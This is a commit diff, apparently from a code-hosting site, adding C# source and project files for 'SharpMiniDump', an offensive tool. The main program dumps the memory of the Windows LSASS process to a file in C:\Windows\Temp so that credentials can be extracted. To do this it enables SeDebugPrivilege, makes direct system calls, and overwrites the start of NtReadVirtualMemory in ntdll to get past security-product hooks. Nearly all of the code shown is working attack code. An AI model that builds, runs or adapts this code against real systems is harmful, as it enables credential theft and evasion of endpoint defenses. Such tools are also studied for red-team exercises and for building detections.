proc = Natives.GetProcAddress(ntdll, "RtlInitUnicodeString");
|
||||
|
||||
NativeSysCall.Delegates.RtlInitUnicodeString RtlInitUnicodeString = (NativeSysCall.Delegates.RtlInitUnicodeString)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.RtlInitUnicodeString));
|
||||
RtlInitUnicodeString(ref pWinVerInfo.ProcName, @"lsass.exe");
|
||||
pWinVerInfo.hTargetPID = (IntPtr)Process.GetProcessesByName("lsass")[0].Id;
|
||||
|
||||
pWinVerInfo.lpApiCall = "NtReadVirtualMemory";
|
||||
|
||||
if (!UnHookNativeApi(pWinVerInfo))
|
||||
{
|
||||
Console.WriteLine("[x] error unhooking {0}", pWinVerInfo.lpApiCall);
|
||||
return;
|
||||
}
|
||||
|
||||
Natives.CLIENT_ID clientid = new Natives.CLIENT_ID();
|
||||
clientid.UniqueProcess = pWinVerInfo.hTargetPID;
|
||||
clientid.UniqueThread = IntPtr.Zero;
|
||||
|
||||
IntPtr hProcess = IntPtr.Zero;
|
||||
|
||||
Natives.OBJECT_ATTRIBUTES objAttribute = new Natives.OBJECT_ATTRIBUTES();
|
||||
// objAttribute.ObjectName = null;
|
||||
|
||||
var status = NativeSysCall.ZwOpenProcess10(ref hProcess, Natives.ProcessAccessFlags.All, objAttribute, ref clientid);
|
||||
|
||||
if (hProcess == IntPtr.Zero)
|
||||
{
|
||||
Console.WriteLine("[x] Error ZwOpenProcess10 " + status);
|
||||
return;
|
||||
}
|
||||
|
||||
Natives.UNICODE_STRING uFileName = new Natives.UNICODE_STRING();
|
||||
RtlInitUnicodeString(ref uFileName, @"\??\C:\Windows\Temp\dumpert.dmp");
|
||||
|
||||
Microsoft.Win32.SafeHandles.SafeFileHandle hDmpFile;
|
||||
IntPtr hElm = IntPtr.Zero;
|
||||
Natives.IO_STATUS_BLOCK IoStatusBlock = new Natives.IO_STATUS_BLOCK();
|
||||
|
||||
IntPtr objectName = Marshal.AllocHGlobal(Marshal.SizeOf(uFileName));
|
||||
Marshal.StructureToPtr(uFileName, objectName, true);
|
||||
|
||||
Natives.OBJECT_ATTRIBUTES FileObjectAttributes = new Natives.OBJECT_ATTRIBUTES
|
||||
{
|
||||
ObjectName = objectName,
|
||||
Attributes = 0x00000040,
|
||||
Length = (ulong)Marshal.SizeOf(typeof(Natives.OBJECT_ATTRIBUTES)),
|
||||
RootDirectory = IntPtr.Zero,
|
||||
SecurityDescriptor = IntPtr.Zero,
|
||||
SecurityQualityOfService = IntPtr.Zero
|
||||
};
|
||||
|
||||
Natives.LARGE_INTEGER lint = new Natives.LARGE_INTEGER();
|
||||
lint.HighPart = 0;
|
||||
lint.LowPart = 0;
|
||||
|
||||
long allocationsize = 0;
|
||||
|
||||
status = NativeSysCall.NtCreateFile10(
|
||||
out hDmpFile,
|
||||
(int)Natives.FILE_GENERIC_WRITE,
|
||||
ref FileObjectAttributes,
|
||||
out IoStatusBlock,
|
||||
ref allocationsize,
|
||||
Natives.FILE_ATTRIBUTE_NORMAL,
|
||||
System.IO.FileShare.Write,
|
||||
Natives.FILE_OVERWRITE_IF,
|
||||
Natives.FILE_SYNCHRONOUS_IO_NONALERT,
|
||||
hElm, 0);
|
||||
|
||||
if (hDmpFile.IsInvalid)
|
||||
{
|
||||
Console.WriteLine("[x] Error NtCreateFile10 " + status + " " + IoStatusBlock.status);
|
||||
NativeSysCall.ZwClose10(hProcess);
|
||||
return;
|
||||
}
|
||||
|
||||
IntPtr Dbghelp = Natives.LoadLibraryA("Dbghelp.dll");
|
||||
proc = Natives.GetProcAddress(Dbghelp, "MiniDumpWriteDump");
|
||||
|
||||
NativeSysCall.Delegates.MiniDumpWriteDump MiniDumpWriteDump = (NativeSysCall.Delegates.MiniDumpWriteDump)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.MiniDumpWriteDump));
|
||||
|
||||
IntPtr ExceptionParam = IntPtr.Zero;
|
||||
IntPtr UserStreamParam = IntPtr.Zero;
|
||||
IntPtr CallbackParam = IntPtr.Zero;
|
||||
|
||||
Console.WriteLine("[*] Target PID " + pWinVerInfo.hTargetPID);
|
||||
Console.WriteLine("[*] Generating minidump.... " + pWinVerInfo.hTargetPID);
|
||||
|
||||
if (!MiniDumpWriteDump(hProcess, (uint)pWinVerInfo.hTargetPID,hDmpFile,2, ExceptionParam,UserStreamParam,CallbackParam))
|
||||
{
|
||||
Console.WriteLine("[x] Error MiniDumpWriteDump ");
|
||||
NativeSysCall.ZwClose10(hProcess);
|
||||
return;
|
||||
}
|
||||
|
||||
hDmpFile.Dispose();
|
||||
NativeSysCall.ZwClose10(hProcess);
|
||||
|
||||
Console.WriteLine("[*] End ");
|
||||
Console.WriteLine("[*] Minidump generated in " + Marshal.PtrToStringUni(uFileName.Buffer).Substring(4));
|
||||
}
|
||||
|
||||
private static bool UnHookNativeApi(Natives.WIN_VER_INFO pWinVerInfo)
|
||||
{
|
||||
byte[] AssemblyBytes = { 0x4C, 0x8B, 0xD1, 0xB8, 0xFF };
|
||||
AssemblyBytes[4] = (byte)pWinVerInfo.SystemCall;
|
||||
|
||||
IntPtr ntdll = Natives.LoadLibraryA("ntdll.dll");
|
||||
IntPtr proc = Natives.GetProcAddress(ntdll, pWinVerInfo.lpApiCall);
|
||||
|
||||
IntPtr lpBaseAddress = proc;
|
||||
uint OldProtection = 0;
|
||||
uint NewProtection = 0;
|
||||
uint uSize = 10 ;
|
||||
var status = NativeSysCall.ZwProtectVirtualMemory10(Process.GetCurrentProcess().Handle, ref lpBaseAddress, ref uSize, 0x40, ref OldProtection);
|
||||
if (status != Natives.NTSTATUS.Success)
|
||||
{
|
||||
Console.WriteLine("[x] Error ZwProtectVirtualMemory10 1 " + status);
|
||||
return false;
|
||||
}
|
||||
|
||||
IntPtr written = IntPtr.Zero;
|
||||
IntPtr unmanagedPointer = Marshal.AllocHGlobal(AssemblyBytes.Length);
|
||||
Marshal.Copy(AssemblyBytes, 0, unmanagedPointer, AssemblyBytes.Length);
|
||||
|
||||
status = NativeSysCall.ZwWriteVirtualMemory10(Process.GetCurrentProcess().Handle, ref proc, unmanagedPointer, (uint)AssemblyBytes.Length, ref written);
|
||||
if (status != Natives.NTSTATUS.Success)
|
||||
{
|
||||
Console.WriteLine("[x] Error ZwWriteVirtualMemory10 " + status);
|
||||
return false;
|
||||
}
|
||||
|
||||
status = NativeSysCall.ZwProtectVirtualMemory10(Process.GetCurrentProcess().Handle, ref lpBaseAddress, ref uSize, OldProtection, ref NewProtection);
|
||||
if (status != Natives.NTSTATUS.Success)
|
||||
{
|
||||
Console.WriteLine("[x] Error ZwProtectVirtualMemory10 2" + status);
|
||||
return false;
|
||||
}
|
||||
|
||||
Marshal.FreeHGlobal(unmanagedPointer);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private static bool IsElevated()
|
||||
{
|
||||
return TokenIsElevated(GetCurrentProcessToken());
|
||||
}
|
||||
|
||||
private static IntPtr GetCurrentProcessToken()
|
||||
{
|
||||
//https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Credentials/Tokens.cs
|
||||
IntPtr currentProcessToken = new IntPtr();
|
||||
if (!Natives.OpenProcessToken(Process.GetCurrentProcess().Handle, Natives.TOKEN_ALL_ACCESS, out currentProcessToken))
|
||||
{
|
||||
Console.WriteLine("Error OpenProcessToken " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
return currentProcessToken;
|
||||
}
|
||||
|
||||
private static bool TokenIsElevated(IntPtr hToken)
|
||||
{
|
||||
//https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Credentials/Tokens.cs
|
||||
UInt32 tokenInformationLength = (UInt32)Marshal.SizeOf(typeof(UInt32));
|
||||
IntPtr tokenInformation = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(UInt32)));
|
||||
UInt32 returnLength;
|
||||
|
||||
Boolean result = Natives.GetTokenInformation(
|
||||
hToken,
|
||||
Natives.TOKEN_INFORMATION_CLASS.TokenElevationType,
|
||||
tokenInformation,
|
||||
tokenInformationLength,
|
||||
out returnLength
|
||||
);
|
||||
|
||||
switch ((Natives.TOKEN_ELEVATION_TYPE)Marshal.ReadInt32(tokenInformation))
|
||||
{
|
||||
case Natives.TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault:
|
||||
return false;
|
||||
case Natives.TOKEN_ELEVATION_TYPE.TokenElevationTypeFull:
|
||||
return true;
|
||||
case Natives.TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited:
|
||||
return false;
|
||||
default:
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
public static bool SetDebugPrivilege()
|
||||
{
|
||||
//https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Credentials/Tokens.cs
|
||||
string Privilege = "SeDebugPrivilege";
|
||||
IntPtr hToken = GetCurrentProcessToken();
|
||||
Natives.LUID luid = new Natives.LUID();
|
||||
if (!Natives.LookupPrivilegeValue(null, Privilege, ref luid))
|
||||
{
|
||||
Console.WriteLine("Error LookupPrivilegeValue" + new Win32Exception(Marshal.GetLastWin32Error()).Message);
|
||||
return false;
|
||||
}
|
||||
|
||||
Natives.LUID_AND_ATTRIBUTES luidAndAttributes = new Natives.LUID_AND_ATTRIBUTES();
|
||||
luidAndAttributes.Luid = luid;
|
||||
luidAndAttributes.Attributes = Natives.SE_PRIVILEGE_ENABLED;
|
||||
|
||||
Natives.TOKEN_PRIVILEGES newState = new Natives.TOKEN_PRIVILEGES();
|
||||
newState.PrivilegeCount = 1;
|
||||
newState.Privileges = luidAndAttributes;
|
||||
|
||||
Natives.TOKEN_PRIVILEGES previousState = new Natives.TOKEN_PRIVILEGES();
|
||||
UInt32 returnLength = 0;
|
||||
if (!Natives.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out returnLength))
|
||||
{
|
||||
Console.WriteLine("AdjustTokenPrivileges() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// Le informazioni generali relative a un assembly sono controllate dal seguente
|
||||
// set di attributi. Modificare i valori di questi attributi per modificare le informazioni
|
||||
// associate a un assembly.
|
||||
[assembly: AssemblyTitle("SharpMiniDump")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("SharpMiniDump")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2019")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Se si imposta ComVisible su false, i tipi in questo assembly non saranno visibili
|
||||
// ai componenti COM. Se è necessario accedere a un tipo in questo assembly da
|
||||
// COM, impostare su true l'attributo ComVisible per tale tipo.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// Se il progetto viene esposto a COM, il GUID seguente verrà utilizzato come ID della libreria dei tipi
|
||||
[assembly: Guid("6ffccf81-6c3c-4d3f-b15f-35a86d0b497f")]
|
||||
|
||||
// Le informazioni sulla versione di un assembly sono costituite dai seguenti quattro valori:
|
||||
//
|
||||
// Versione principale
|
||||
// Versione secondaria
|
||||
// Numero di build
|
||||
// Revisione
|
||||
//
|
||||
// È possibile specificare tutti i valori oppure impostare valori predefiniti per i numeri relativi alla revisione e alla build
|
||||
// usando l'asterisco '*' come illustrato di seguito:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
@@ -0,0 +1,71 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}</ProjectGuid>
|
||||
<OutputType>Exe</OutputType>
|
||||
<RootNamespace>SharpMiniDump</RootNamespace>
|
||||
<AssemblyName>SharpMiniDump</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>x64</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>x64</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<OutputPath>bin\x64\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<DebugType>full</DebugType>
|
||||
<PlatformTarget>x64</PlatformTarget>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x64'">
|
||||
<OutputPath>bin\x64\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<PlatformTarget>x64</PlatformTarget>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Natives.cs" />
|
||||
<Compile Include="NativeSysCall.cs" />
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
Reference in New Issue
Block a user